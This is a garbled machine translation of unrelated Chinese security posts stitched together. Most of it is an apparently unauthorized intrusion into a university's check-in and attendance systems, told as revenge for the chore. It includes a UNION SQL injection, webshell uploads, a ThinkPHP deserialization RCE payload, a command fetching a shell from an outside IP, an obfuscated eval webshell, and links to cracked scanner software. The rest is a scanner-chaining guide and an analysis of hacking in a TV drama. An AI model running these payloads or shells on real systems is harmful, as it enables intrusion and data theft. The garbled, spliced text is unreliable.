私はローカル環境をデバッグしましたが、それを見つけました:

process.php閉じる方法:

1049983-20211224170348643-86495486.jpg

元のTPフレームワークとは異なり、IFはフィルターに追加されます。なぜなら、元のHasManyクラスには緊密な方法がないため、$ ThisProcesspipes-Close()メソッドを呼び出すことは不可能であるため、次の脱3s化および書き込みファイルRCEは不可能であるため、インターネット上のPOCは無意味になります。

今やらなければならないことは、緊密な方法を持つクラスが必要であり、内部的にはメンバー変数の緊密な方法を呼び出す必要があります。

これにより、フィルタリングをバイパスすることができ、脱介入を継続できます。

ここで私はMemcacheクラスを見つけました、

1049983-20211224170349045-894237468.jpg

元のチェーンを$ thishandler変数に接続するだけで、それを脱上化し続けることができます。

しかし、デバッグを通して:

1049983-20211224170349452-68844655.jpg

このパスパスは、書いた後には見つかりません。そこで、私はそれを絶対的なパスに変更して、パブリックディレクトリに書きました

POC:の脱気面化

?phpnamespace think; shink \ session \ driver \ memcache; class process {private $ processpipes;

プライベート$ステータス;

プライベート$ ProcessInformation; public function __construct(){$ this-processinformation ['running']=true; $ this-status=3; $ thisprocesspipes=(new Memcache(1)); }

} namespace think; class model {

} namespace think \ model;

Think \ Model;クラスマージ拡張モデル{public $ a='1';を使用します。 public function __construct(){}} namespace think \ model \ relation; shinkを使用します

0x01はじめに

流行により、学校のYibanアプリはチェックインシステムを追加しました。これには、毎日朝の検査と午後の検査が必要です。忘れてしまうと、レビューする何千もの単語があります。

私はこの「形式主義」に深く不満を感じています。私はたまたまサイバーセキュリティチームを設立したので、それを操作する準備をしました。

0x02スポット

基本情報収集についてはあまり言いません

したがって、異なるシステムは複数のサーバーを使用します

それは完全に解決できないようです。コアシステムを獲得するには、さまざまなシステムとサーバーの素晴らしい学校システムの浸透の旅が必要です。

次に、コアシステムにタッチします

まず、「Yiban」システムのホームページを開き、これがどのように見えるかです

1049983-20220106104200012-153190839.jpg

開発者がTPフレームワークを使用し、さまざまなTP注射をテストしたことを確認することは難しくありません。

RCEのペイロードは失敗に終わりました、そして、安全性の認識はそれほど悪くないようです

ドメイン名の下のホームページは、機能的なポイントや情報なしで完全にエラー報告ページです

saying sayingにあるように、情報収集の品質は浸透の成功または失敗を直接決定するので、私たちは決して不注意であってはなりません。

最初にファズの第1レベルのディレクトリに来てみましょう

Image

結果は非常に優れており、多くのカタログと機能ポイントがあります。

次に、各第1レベルのディレクトリのセカンダリディレクトリを曖昧にし続け、ドメイン名の下に展開されている機能ポイントを常に探求しました。

第1レベルのディレクトリが多すぎるため、詳細については写真には行きません。

機能的なポイントを理解した後、ズボンを脱いで乾燥を開始します

0x03メンタルヘルスシステムの浸透(IISショートファイル名ポートポート - ブラストニューログインポートアプロード)

第1レベルのカタログを爆破し、爆破します

http://xxx.xxx.edu.cn/psyこのパス

心理教育の健康システムが展開され、ミドルウェアがIISであることがわかった

ただし、メンタルヘルスシステムのログインには検証コードメカニズムがあり、検証コードを識別するのは簡単ではありません

Image

私はすぐにIISショートファイル名機能について考えました

次に、IISショートファイル名ディレクトリスキャンツールを使用します

(https://github.com/lijiejie/iis_shortname_scanner)スキャン用

Image

他のシステムの古いログインポートを取得します

http://xxx.xxx.edu.cn/psy/login2.aspx

Image

図に示されているように、検証コードメカニズムはありません

直接げっぷクラスター爆弾型爆発

他のシステムの弱いパスワード管理者AA123456を正常に取得しました

ただし、古いシステムの他のページが削除されており、通常はバックグラウンドにログインできません

Image

しかし、古いシステムと新しいシステムで使用されているのと同じデータベースが推測されています

新しいシステムへのアクセス

http://xxx.xxx.edu.cn/psy/login.aspx

パスワード管理者、AA123456を使用して、正常にログインします

Image

バックグラウンドでアップロードポイントを検索します

Image

アップロードポイントはです

http://xxx.xxx.edu.cn/psy/scalemanage/scaleedit.aspx?scalelistid=1

スケールプラットフォームに追加されたトピックは、任意のファイルにアップロードされます

(そうです、このアップロードポイント.それは非常に隠されていると言えます.それを見つけるのに長い時間がかかりました)

Image

ASPXのアップロードは不可解にジャンプします。 ASPは解析せず、ASMX馬を直接通過します。

AWVS 10のデバッグモジュールを介してコマンドを実行します

Image

許可はネットサービスです

CobaltStrikeを使用して、PowerShellを直接POWERSHELLに移動します

Image

パッチは死んでいるようです。

さまざまな地元の権利昇進が一度開始されましたが、役に立たなかった

comコンポーネントは、ジャガイモが装着された後も育てることさえできません。最初にこれをしましょう。右を上げる場合は、追加してください。

メンタルヘルスシステムは、初期の買収を発表しました

0x04ライブブロードキャストシステムインターフェイスインジェクション

ライブブロードキャストシステムに入った後、使用する意味がなく、開発はまだ完了していないことがわかりました。

Image

しかし、げっぷで、私はajaxインターフェイスのリクエストを見つけました、

HTTPリクエストは次のように:です

post /index.php/live/index/seat_ajax.html http/1.1

host: xxx.xxx.edu.cn

Content-Length: 24

Accept:/

Origin:http://xxx.xxx.edu.cn

X-Requested With: xmlhttprequest

user-agent: mozilla/5.0(linux; u; android 5.1; zh-cn; 1501_m02 build/lmy47d)applewebkit/534.30(khtml、ygecko)バージョン/4.0 ucbrowser/11.0.0.0.818 U3/0.8.0モバイルSaf/534.30

Content-Type:アプリケーション/x-www-form-urlencoded; charset=utf-8

Referer:http://xxx.xxx.edu.cn/index.php/live/index/seat?place_id=10active_id=20

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、EN; Q=0.8

Cookie3360 ASP.NET_SESSIONID=S0CLWRGINZ0RW3X0SMTWTSGG; phpsessid=7985bf0a5f38e5922a651ac1f4ef9b1a; phpsessid=7985bf0a5f38e5922a651ac1f4ef9b1a

Connection:閉じます

place_id=10active_id=20

Image

sqliペイロードを見つけるためにファズをします

Image

両方のIDパラメーターには、組合注入があります

Image

ペイロードを構築します

)null、null、null、null、null()、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null - null、null、null、null、null、null、null、

図に示すように、current_user情報が正常に取得されました。

'_root@10.40.0.22

ペイロードを構築します

place_id=10)null、null、null、null、group_concat(schema_name)、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null from information _schema.schemata-- ne neqyactive_id=20

Image

ここでは、他のテーブル、列、データを実証しません。文を書いても大丈夫です、それはとても簡単です。

その後、他のシステムに多くのライブラリが関与していることがわかりましたが、私が最も望んでいたコアシステムのライブラリは見つかりませんでした。

0x05鈍いb64アップロード

ファズ関数ポイントの後、私は許可なしに写真をアップロードできる場所を見つけました

http://xxx.xxx.edu.cn/v4/public/weui/demo/form12.html

Image

Image

data:image/jpegが発見されたときにjpeg画像をアップロードします

データをImage/PHPに直接変更し、アップロードされたコンテンツBase64をエンコードして送信します

Image

GetShellが成功し、システムの許可、権利のエスカレーションが救われました

Image

0x06コアシステム素晴らしい浸透(nday desarialization +コマンド実行バイパス +条件付き競争の膨張)

検索、寒くて捨てられた、悲惨で悲惨な、最終的に「Yiban」を制御するコアシステムを見つけました

http://xxx.xxx.edu.cn/v4/public/index.php/admin/login.html?s=admin/api.update/tree

Image

勝利はあなたの目の前にあります.あなたは眠らないとしても彼を殺さなければなりません

あらゆる種類のファズとさまざまな操作が一緒に配置されましたが、私はそれが役に立たないことがわかりました、そして、私はまだ毎日行きませんでした。

あきらめるべきですか?不可能、これは私たちのスタイルではありません

ページJSを注意深くチェックしていたとき、私はそのような興味深い情報を見つけました

Image

私の目が明るくなりました、いまいましいシンカドミン、前に洗練されたnadがありました、それを手配しましょう!

http://xxx.xxx.edu.cn/v4/public/index.php/admin/login.html?s=admin/api.update/tree

Postdata:

ルール=a%3a2%3a%7bi%3a0%3bo%3a17%3a%22think%5cmodel%5cpivot%22%3a11%3a%7bs%3a21%3a%22%00think%5cmodel%00 lazysave%22% 3a1%3bs%3a19%3a%22%00think%5cmodel%00 exists%22%3bb%3a1%3bs%3a13%3a%22%00think%5cmodel% 2%00%2a%00 -connection%22%3bs%3a5%3a%22Mysql%22%3bs%3a7%3a%22%00%2a%00Name%22%3BO%3a17%3a%22thi nk%5cmodel%5cpivot%22%3a11%3a%7bs%3a21%3a%22%00think%5cmodel%00 lazysave%22%3bb%3a1%3bs%3a19%3a %22%00think%5cmodel%00 Exists%22%3bb%3a1%3bs%3a13%3a%22%00%2a%00connection%22%3bs%3a5%3a%22mys QL%22%3bs%3a7%3a%22%00%2a%00Name%22%3bs%3a0%3a%22%22%3bs%3a21%3a%22%00think%5cmodel%00withattr %22%3BA%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a6%3a%22System%22%3b%7ds%3a9%3a%22%00%2a%00hidden%22 %3BA%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a3%3a%22123%22%3b%7ds%3a17%3a%22%00think%5cmodel%00data% 22%3BA%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a6%3a%22whoami%22%3b%7ds%3a12%3a%22%00%2a%00withent %22%3bb%3a0%3bs%3a18%3a%22%00think%5cmodel%00フォース%22%3bb%3a1%3bs%3a8%3a%22%00%2a Ba%3a0%3a%7b%7ds%3a9%3a%22%00%2a%00schema%22%3ba%3a0%3a%7b%7d%7ds%3a21%3a%22%00think%5cmodel% 00 withattr%22%3ba%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a6%3a%22%22%3b%7ds%3a9%3a%22%00%2a%00隠し%22%3BA%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a3%3a%22123%22%3b%7ds%3a17%3a%22%00think%5cmod EL%00DATA%22%3BA%3a1%3a%7bs%3a4%3a%22test%22%3bs%3a6%3a%22whoami%22%3b%7ds%3a12%3a%22%00%2a%00 withevent%22%3bb%3a0%3bs%3a18%3a%22%00think%5cmodel%00force%22%3bb%3a1%3bs%3a8%3a%22%00%2a%00f IELD%22%3BA%3a0%3a%7b%7ds%3a9%3a%22%00%2a%00schema%22%3ba%3a0%3a%7b%7d%7di%3a1%3bi%3a123%3b%7d //hoamiを実行します

Image

以下は、次のように脱審上のポップチェーンです

?php

名前空間思考;

Think \ model \ pivotを使用してください。

抽象クラスモデル{

private $ lazysave=false; # 保存()

private $が存在する=false; #updatedata()

保護された$接続。

保護された$ name; #__toString()conversion.php=pivot

private $ with withattr=[]; #アサート

保護された$ hidden=[];

private $ data=[];

保護$ withevent=false;

private $ force=false;

保護された$ field=[];

保護された$ schema=[];

function __construct(){

$ this-lazysave=true;

$ this-exists=true;

$ this-withevent=false;

$ this-force=true;

$ this-connection='mysql';

$ this-withattr=['test'='system'];

$ this-data=['test'='whoami'];

$ this-hidden=['test'='123'];

$ this-field=[];

$ this-schema=[];

}

}

名前空間Think \ Model;

Think \ Modelを使用してください。

\#モデルは抽象クラスです。その継承クラスを見つけます。ここでは、ピボットクラスを選択します

クラスピボットはモデルを拡張します{

function __construct($ obj=''){

parent:__construct();

$ this-name=$ obj; #$ This-nameは値をサブクラスコンストラクターに入れ、ベースクラス属性を直接配置して成功せずに初期化します

}

}

$ a=new Pivot();

echo urlencode(serialize([new pivot($ a)、123]));Image

許可はシステムです、ハハハハハハハ、神も私を助けてくれます

しかし、私はEchoコマンドを使用してシェルを書くことに多くの問題に遭遇しました

コマンドはスペースを持つことができず、シェルはコマンドに直接記述されます。そうしないと、エラーが報告されます。

スペースは +に変換され、バックエンドはそれを認識できません

Image

永続的な手動テストの後、 /\はスペースの限界をバイパスできることがわかります

次に、スプライシングコマンドを使用して、書き込み検出をバイパスすることを実現します

しかし、ターゲットマシンにはWAFがあり、数秒後に通常のウェブシェルが殺されます。

なぜだめですか?条件付き競争を通じて直接殺さずにウェブシェルをダウンロードしてください

コンストラクターは、条件付き競争を通じて殺すことなくシェルをダウンロードします

echo/^^?phps1.phpecho/file_put_contents( 's2.php'、file_get_contents( 'http://49.x.x.x:8080/shell.txt'));^gt; gt; gt; s2.php

シェルの内容は次のとおりです

?php

関数テスト($ php_c0d3){

$ password='skr'; //envpwd

$ cr=preg_filter( '/\ s+/'、 ''、 'c h r');

$ bs64=preg_filter( '/\ s+/'、 ''、 'bas e64 _de cod e');

$ gzi=$ cr(103)。$ cr(122)。$ cr(105)。$ cr(110);

$ gzi。=$ cr(102)。$ cr(108)。$ cr(97)。$ cr(116)。$ cr(101);

$ c=$ bs64($ php_c0d3);

$ c=$ gzi($ c);

@eval($ c);

}

$ php_c0d3='s0lny8xl1vavzkjnyslilc5w11ebuex'。

'5RSMA1RXCKGWZEWM2KVFBROGHRSEH0UOGVLISUC'。

'yztqmiaatumvqspfnny1wqarli1wbpraxi1lleh'。

'a2exrgdszrwaa==';

テスト($ php_c0d3);

?ポップチェーンの降下により、ポストダタを生成します

直接電話してください

http://xxx.xxx.edu.cn/v4/public/s2.php

パスワードSKR

直接取ってください

Image

最後に、このチェックイン、レイトコール、出席コアシステム、管理者がライブラリに入り、管理者のパスワードを復号化しました

くそー、あなたはまだ私にレビューを書いてほしいですか?行ってたわごとを食べてください

0x01使用

各ツールの導入後に、ツールのダウンロードアドレスとインストール方法が配置されます。必要に応じて、自分でダウンロードできます。

1.AWVSツール

awvsはじめに:

Acunetix Web脆弱性スキャナー(AWVS)は、Webアプリケーションのセキュリティのテストと管理に使用されるプラットフォームです。インターネットまたはローカルLANを脆弱性を自動的にスキャンし、脆弱性を報告できます。 HTTP/HTTPSルールがアクセスして続くWebサイトをスキャンできます。小規模および中規模および大規模企業向けの顧客、従業員、ベンダー、その他の担当者向けのイントラネット、外因性ネットワークおよびWebサイト。 AWSは、SQLインジェクション攻撃の脆弱性、XSSクロスサイトスクリプトの脆弱性などをチェックすることにより、Webアプリケーションのセキュリティをレビューできます。AWVS機能と機能:1)自動クライアントスクリプトアナライザー、AJAXおよびWeb2.0アプリケーションのセキュリティテストを可能に

2)業界で最も高度で詳細なSQLインジェクションとクロスサイトスクリプトテスト

3)HTPPエディターやHTTPファッツァなどの高度な浸透テストツール

4)Visual Macro Recorderは、Webフォームやパスワードで保護された領域を簡単にテストするのに役立ちます

5)Capthca、シングルスタート命令、2つの要因(2要素)検証メカニズムを含むサポートページ

6)Visa PCIコンプライアンスレポートを含む豊富なレポート機能

7)高速マルチスレッドスキャナーは、数千ページを簡単に取得できます

8)インテリジェントクローラーがWebサーバーのタイプとアプリケーション言語を検出する

9)Acunetixは、フラッシュコンテンツ、SOAP、AJAXなどのWebサイトを取得および分析します

10)ポートWebサーバーをスキャンし、サーバーで実行されているネットワークサービスでセキュリティチェックを実行します

11)Webサイトの脆弱性ファイルをエクスポートできます

AWVSツールインストールチュートリアルアドレス:https://Blog.csdn.net/shandongjiushen/article/details/128377981

AWVSツールクラックバージョンダウンロードアドレス(Baidu NetDisk)リンク:https://Pan.Baidu.com/s/1KayuhishGujozphx41CQSQ抽出コード:QBE0

2。 AppScanツール

appscanはじめに:

AppScanは、セキュリティの専門家とテスター向けに特別に設計された動的なアプリケーションセキュリティテストツールです。これは、ユーザーがより安全なソフトウェアを開発するのに役立ち、開発ライフサイクルの後期段階で高価な脆弱性を効果的に回避できます。ソフトウェアには強力なスキャンエンジンが組み込まれており、ターゲットアプリケーションやテストの脆弱性を自動的にクロールできます。テスト結果は優先的に提示され、オペレーターは問題をより速く分類し、最も重要な脆弱性を最初に発見することができます。同時に、AppScanはユーザーに明確で実行可能な修理の提案を自動的に提供するため、発見された各問題をより簡単に改善できます。さらに、このソフトウェアには、テストWebアプリケーション、Webサービス、およびモバイルバックエンドをサポートする包括的なセキュリティテストスイートがあり、運用ベースの独自のテクノロジーと数万個の組み込みスキャンを使用して継続的にチェックします。 AppScan機能の紹介:1)アクティブおよびパッシブスキャンAppScanは、アクティブおよびパッシブスキャンテクノロジーをサポートします。アクティブなスキャンモードでは、攻撃者の動作をシミュレートし、悪意のあるリクエストと攻撃ペイロードを送信して、クロスサイトスクリプティング(XSS)、SQLインジェクション、クロスサイトリクエスト偽造(CSRF)などの既知のWeb脆弱性を発見します。

2)サポートWebアプリケーションとモバイルアプリケーションスキャンAppScanは、Webアプリケーションスキャンとモバイルアプリケーションのセキュリティ評価の両方に適しています。 Webアプリケーションの場合、AppScanはXSS、SQLインジェクション、機密情報漏れなどの一般的なWeb脆弱性を自動的に発見および評価できます。モバイルアプリケーションの場合、AppScanはアプリケーションのバイナリコードを分析し、アプリケーションの脆弱性とセキュリティ問題を発見できます。

3)浸透テストサポートAppScanは、浸透テストサポートを提供します。つまり、脆弱性スキャンツールであるだけでなく、テスト用の実際の攻撃をシミュレートできます。浸透テストは、複雑な脆弱性とビジネスロジックの問題のために、検出が困難である脆弱性を発見し、より詳細なテスト機能を備えていることを発見するのに役立ちます。

AppScanツールのインストールチュートリアルアドレス:https://Blog.csdn.net/qq_39720249/article/details/121248901

AppScanツールクラックバージョンダウンロードアドレス(Baidu NetDisk):https://pan.baidu.com/s/1unazbfwyvevzuqpc1eqaba抽出コード:ime6

3。 Yakitツール

yakitはじめに:

Yakは、ネットワークセキュリティの基礎能力の統合に専念する世界で最初の垂直開発言語であり、非常に強力なセキュリティ機能を提供します。 Yakは、ほとんどの「データ説明言語/コンテナ言語」のスーパーセットです。すべてのGO機能とライブラリエコシステム、VSCODEプラグインなどがあります。構文はカスタマイズ可能です。それは完全に国内で、チューリング複雑なスクリプト言語です。ポートスキャン、フィンガープリント認識、POCフレームワーク、シェル管理、MITMハイジャック、強力なプラグインシステムなど、機能を通じてさまざまな基礎となるセキュリティ機能を提供します。Yakitは、YAK言語に基づいて開発されたサイバーセキュリティの個別ツールであり、浸透テストのプロセス全体をカバーするネットワークセキュリティツールライブラリを作成することを目的としています。 YAKの使用形式のため、ユーザーはYAK言語を学習し、同時にセキュリティを特定して理解する必要があります。 Yak独自のセキュリティ機能を容易に受け入れ、すべての人が使用するために、Yak用のGRPCサーバーを作成し、クライアントを構築しました。Yakitは、インターフェイスGUIを介してYakを使用するためのしきい値を下げます。 Yakit関数の簡単な紹介(関数が多すぎます):Yakitは、Yak言語セキュリティ機能のための高度に統合された出力プラットフォームです。 Yakitを使用して、できます:

1)Burpsuiteに似たMITMハイジャック操作テーブル

2)すべてのハイジャックされたリクエストの履歴を表示し、リクエストのパラメーターを分析する

3)世界初の視覚的なWebファザーツール:Web Fuzzer

4)Yak Cloud IDE:組み込みのスマートプロンプトを備えたYak言語クラウドIDE

5)Shellreceiver:TCPサーバーをオンにして、リバウンドインタラクティブシェルアンチ接続を受信します

6)サードパーティYakモジュールストア:コミュニティ主導のサードパーティYakモジュールプラグイン、あなたが望むすべてを持っています

7。

Yakitツールのインストールチュートリアルアドレス:https://Blog.csdn.net/m0_60045654/article/details/134645164

Yakitツールダウンロードアドレス:https://yaklang.com/

4。バープスイート

バープスイートの紹介:

Burp Suiteは、Webアプリケーションを攻撃するための統合プラットフォームです。 Burp Suiteは、Webアプリケーションを攻撃するための統合プラットフォームであり、多くのツールが含まれています。バープスイートは、これらのツールの多くのインターフェイスを設計して、アプリケーションを攻撃するプロセスを高速化します。すべてのツールはリクエストを共有し、対応するHTTPメッセージ、永続性、認証、プロキシ、ログ、およびアラートを処理できます。バープスイートツールの関数の紹介:1)ターゲット(ターゲット)——ターゲットディレクトリ構造の関数を表示します

2)プロキシ(プロキシ)—— HTTP/sプロキシサーバーをインターセプトし、ブラウザとターゲットアプリケーションの間の仲介者として機能し、両方向の元のデータフローを傍受、表示、変更できます。

3)Spider(Spider)——は、アプリケーションのコンテンツと機能を完全に列挙できるインテリジェントセンシングWeb Crawlerを使用します。

4)スキャナー(スキャナー)——高度なツールでは、実行後、Webアプリケーションのセキュリティの脆弱性を自動的に発見できます。

5)侵入者(侵入者)——カスタマイズされた高度に構成可能なツールは、列挙された識別子、有用なデータの収集、ファジングテクノロジーを使用して従来の脆弱性を検出するなどのWebアプリケーションを自動化します。

6)リピーター(リピーター)——手動操作に依存して個別のHTTP要求をトリガーし、アプリケーション応答を分析するツール。

7)シーケンサー(セッション)——は、予測不可能なアプリケーションセッショントークンと重要なデータ項目のランダム性を分析するために使用されるツールです。

8)デコーダー(デコーダー)——は、アプリケーションデータユーザーを手動で実行またはインテリジェントにデコードおよびエンコードするためのツールです。

9)比較(比較)——は、通常、いくつかの関連するリクエストと応答を通じて、2つのデータの視覚的な「違い」を取得します。

10)Extender(Extension)——を使用すると、Burp Suite Extensionsをロードし、独自のコードまたはサードパーティコードを使用してBurp Suiteの機能を拡張できます。

11)オプション(設定)——げっぷスイートのいくつかの設定

バープスイートツールのインストールチュートリアルアドレス:https://blog.csdn.net/m0_60045654/article/details/134645164

バープスイートツールJARクラックパッケージ:** https://link.zhihu.com/?ターゲット=https%3a //github.com/lzskyline/burploaderkeygen/raw/main/burploaderkeygen.jar

バープスイートツールダウンロードアドレス:https://Link.zhihu.com/?target=https%3a//portswigger.net/burp/releases/

5。 xray

Xrayツールの紹介:

Xrayは、変化する技術によって開始された強力なセキュリティ評価ツールです。これは、多くの経験豊富な最前線のセキュリティ実務家によって作成されています。アクティブおよびパッシブスキャン方法をサポートし、Windows、Linux、MacOSなどの複数のオペレーティングシステムをサポートし、ユーザー定義のPOCをサポートします。

ターゲットWebサイトの脆弱性をすばやく検出できます。従来のマニュアルの脆弱性スキャンと比較して、Xrayには次の利点があります。

1。高度な自動化、手動操作の時間とエネルギーを削減する。

2。複数の脆弱性タイプのスキャンをサポートします。

3。分散展開をサポートします。

4。Webインターフェイス管理をサポートします。

Xray関数の紹介:POCフレームワークには、デフォルトでGitHubにPOCが組み込まれているPOCが組み込まれており、ユーザーは必要に応じて自分で構築および実行することもできます。

現在サポートされている脆弱性検出タイプには: 1)XSS脆弱性検出(Key: XSS)

2)SQL注入検出(Key: SQLDET)

3)コマンド/コードインジェクション検出(key: cmd-injection)

4)ディレクトリの列挙(key:ディルカン)

5)パス交差検出(key:パストラバーサル)

6)XMLエンティティインジェクション検出(key: xxe)

7)ファイルアップロード検出(key:アップロード)

8)弱いパスワード検出(Key:ブルートフォース)

9)JSONP検出(key: jsonp)

10)SSRF検出(Key: SSRF)

11)ベースライン検査(Key:ベースライン)

12)任意のジャンプ検出(key:リダイレクト)

13)CRLF注入(Key: CRLF注入)

14)Struts2シリーズの脆弱性検出(Advanced Edition、Key: Struts)

15)ThinkPhpシリーズの脆弱性検出(Advancedバージョン、key: thinkphp)

16)XSTREAMシリーズの脆弱性検出(Key: XStream)

17)POCフレームワーク(key:パンタズム)

Xray Toolインストールチュートリアルアドレス:https://Blog.csdn.net/weixin_52244272/article/details/132278409

Xray11ツールクラックバージョンダウンロードアドレス:https://pan.baidu.com/s/1n5lqesvxpk_cgbs7jmfkda?pwd=amlj抽出コード:AMLJ

0x02ツールリンケージ

ターゲットWebサイトの脆弱性を自動的にスキャンするために、5つのツールをリンクします。

1。 AppScanツールリンケージの準備

をセットアップします

AppScanツールインターフェイスを開き、[新シュンWebサービス]を選択します。image.png

選択- AppScanを自動的に選択します(ここで選択されたポートとアドレスは、AWVSエージェントが耳を傾けるアドレスとポートです) - ローカル - 他の接続設定を構成する必要があります - 次のステップimage.png

選択- カスタムプロキシ設定を使用- アドレス:127.0.0.1-ポート:8083(ここに設定されたプロキシアドレスとポートセットはYakitのプロキシリスニングアドレスです) - ニキスト。image.png

設定する必要はありません。次に行くだけです。image.png

設定せずに、次のステップに移動して[完了]をクリックします。image.png image.png

外部のトラフィックレコーダーを入手し、ここを通過して表示するのを待ちます。image.png

2。 Yakitツールリンケージの準備

をセットアップします

Yakit Tool image.pngを起動します

一時的なプロジェクトimage.pngを開きます

侵入テストツールを選択します - MIMTインタラクティブハイジャックimage.png

ここで、Yakitにはデフォルトでダウンロードされた15のスキャンプラグインしかないことをここでお知らせします。より包括的なパッシブスキャンの脆弱性を持ちたい場合は、プラグインストアにアクセスして、必要なプラグインをダウンロードできます。ワンクリックですべてのプラグインをダウンロードできますが、スキャンは非常に遅くなります。必要なもののいくつかをダウンロードしてください。image.png

MIMTインタラクティブなハイジャックに戻り、ハイジャックエージェントのリスニングホストを設定します:127.0.0.1、リスニングポートをリスニングするハイジャックエージェント:8083、およびダウンストリームエージェントはhttp://127.0.0.0.13:8080(下流のアドレスはここに設定されています)。 [プラグインを有効にする]を選択し、左側にプラグインを設定してすべてを選択し、設定後に構成なしの起動を選択します(構成なしの起動を選択するのが最善です。image.png

後でスキャンされた脆弱性は、ここimage.pngに表示されます

3。 Buro Suite Toolのリンケージ準備

Burp Suiteツールを開き、[Temporary Project -Next]を選択します。image.png

Burp Suiteのデフォルト値-Nextを使用します。image.png

設定image.pngを選択します

プロキシを設定すると、バインディングプロキシポートは8080、バインディングアドレスは次のとおりです。Loopbackのみ(ここに設定されたプロキシリスニングアドレスとポートセットは、Yakitが設定した下流のプロキシアドレスです)。image.png

バープスイートの上流プロキシをセットアップすると、ターゲットホストは次のとおりです。 *(すべてのターゲットホストが許可されます)、プロキシホストは127.0.0.1、プロキシポートは7777です。

リアルタイムタスクimage.pngを追加しました

プロキシimage.pngを通過するすべてのトラフィックを受動的にスキャンする

組み込みのスキャン動作を編集します。image.png

スキャンタイプを設定し、すべてを選択し、火力をオンにし、[保存]をクリックします。image.png

[OK]をクリックして、パッシブスキャンを設定します。image.png image.png

4。 Xrayツールリンケージの準備

をセットアップします

Xrayを使用してポート127.0.0.0.1:77777(ここで聴くポートは、Burp Suiteが設定したアップストリームプロキシです)、脆弱性を受動的にスキャンし、脆弱性を123.HTMLにします。image.png

0x04リンケージスキャンのテストを開始

すべての準備が整っています。AWVSツールを最初のアクセススキャンターゲットトラフィックの開始点として使用します。

1。トラフィックを傍受

YakitとBurp Suiteのトラフィックを最初にハイジャックして、後でトラフィックの傾向を視聴します。

image.png

image.png

2。 AWVSスキャンターゲットを設定

AWVSスキャンターゲットを設定して、トラフィックにアクセスします。スキャンターゲット(このターゲットは承認されています)を追加し、[保存]をクリックします。

この記事は、映画やテレビドラマに関与するテクノロジーのみを分析し、プロットを詳細に説明していません。興味があれば、チェックアウトできます。 PS:テクニカル分析は、テレビの開始時にプロットシーケンス(1〜4)エピソード

序文

で実行され、最初の攻撃テクノロジーである悪意のあるパワーバンクを示しました。電源バンクを使用して電話を充電しているようですが、充電プロセス中にユーザー情報を取得しました。1up33pvynck4057.png

n0fglm4ihb54058.png

利用adb命令获取到手机的照片信息

ADBコマンドを使用して、携帯電話の写真情報を取得して、実装原則を達成する

この方法には、以前の記事では《利用树莓派监控女盆友手机》が含まれます。実際には非常に簡単です。 ADBコマンドを使用して、電話の情報を取得することです。もちろん、ADBコマンドを使用してシェルをインストールすることもできます。

達成するのが難しい

簡単に、電話の開発者をオンにして最初に選択してください。

ただし、実際には、電話開発者オプションはデフォルトでオフになります。テレビの場合は不可能です。

情報収集

WeChatモーメントに基づいて情報を収集します

bqtfzo14nbb4060.png

友人に会わず、相手に関する関連情報を入手して、友人のサークルの最新の更新を確認してください。さらに、ヒロインの夫は不正行為の状況にあると推測されました。いとこは提案します

仕事に必要でない場合は、WeChatでこの機能をオフにしてみてください。

WeChatの手順に基づく情報収集

pzcxszt2lan4062.png

WeChatのステップを通して、あなたは今していることを手に入れることができますか?午前8時に目が覚めたばかりで、友人の階段が5,000段階に達した場合、彼が走って運動している可能性が非常に高いことを意味します。

フィッシングリンクに基づく情報収集

gywvtnqvdbg4063.png

また、いとこの以前の記事で同様の記事を書きました。プローブを通じて、ターゲットのIPアドレス、GPS情報、写真、録音などを取得するだけです。ただし、携帯電話のセキュリティパフォーマンスが向上するにつれて、ポップアッププロンプトがあります。

baidu netdiskを使用してデータをバックアップします

irc3o5z3hvc4065.png

これはしばしば人生で遭遇します。さらに、Baidu NetDiskをインストールした後、バックアップアドレス帳とその他の情報はデフォルトで有効になります。あなたはそれを試してみることができます! (アバターを置き換えるのが最善であるため、それが本物であるように)

Didiを使用して旅程

を共有します

35y43fm3tcy4066.png

上記の計画を通じて、主人公は相手の携帯電話番号を正常に取得し、WeChatを通じて関連するアカウントを見つけました。もちろん、ネットワークセキュリティの専門家のコンピューターは毒されました。ezfs1xfnqg14067.png

ドライバーの手紙を割って

hi4iakgouhs4068.png

もちろん、ディレクターはここでパスワードを与えました。それが実際のパスワードの複雑さであれば、ドラマが終わったときにそれはおそらくうまくクラックされないでしょう。

インターネットカフェネットワークを制御

i1ipphff2114070.png

これは、操作およびメンテナンスアプリまたはミニプログラムを使用して管理する必要があります。それほど難しくありません。

ソーシャルエンジニアリングのアプリケーション

ゴミを拾って、相手から有用な情報を入手してください。したがって、日常生活では、明示的な配達や持ち帰りなどの注文が処理されない場合、特定の情報漏れを引き起こします。

4xrf5xzszor4072.png

相手のアカウント情報を通じて、Tieba、Weibo、QQスペースなどの他のアカウント情報を列挙して、相手の関連する個人情報を取得します。

xvyokcsr04x4074.png

wifiプローブ

ずっと前に、CCTV 315は、WiFiプローブの盗みのユーザー情報の露出したケース。原則は、ユーザーの携帯電話のワイヤレスLANがオンになると、信号が周囲のエリアに送信されてワイヤレスネットワークを見つけることです。プローブボックスがこの信号を発見したら、ユーザーの携帯電話のMacアドレスをすばやく識別し、IMEI番号に変換してから、携帯電話番号に変換できます。

したがって、一部の企業は、この小さな箱をショッピングモール、スーパーマーケット、コンビニエンスストア、オフィスビルなどに配置し、ユーザーの知識なしに個人情報、さらには結婚、教育レベル、収入などのビッグデータの個人情報を収集します。

gkdfebs0k1e4075.png

androidシェル

tik30alow4f4076.png

ビデオからわかるように、非常に基本的なMSFはAndroidコマンドを制御します。しかし、携帯電話の編集を直接操作できることは少し誇張されています。upvlcnt5xhv4077.png

wifi釣り

WiFi釣りにフラキシオンを使用します。

d1lnuh24tmw4078.png

PS(4-8)エピソードは、映画やテレビドラマのテクノロジーのみを分析し、プロットとキャラクターは説明されていません。

次に、詐欺グループからデータを取得するために、私はコンピュータールームに忍び込み、サーバーデータをダウンロードしました。hqqj01051cs4079.png

ここで使用するソフトウェアはXFTPを使用する必要があります。これも物理的な攻撃です!

物理的な攻撃

qwbrwsvurg44080.png

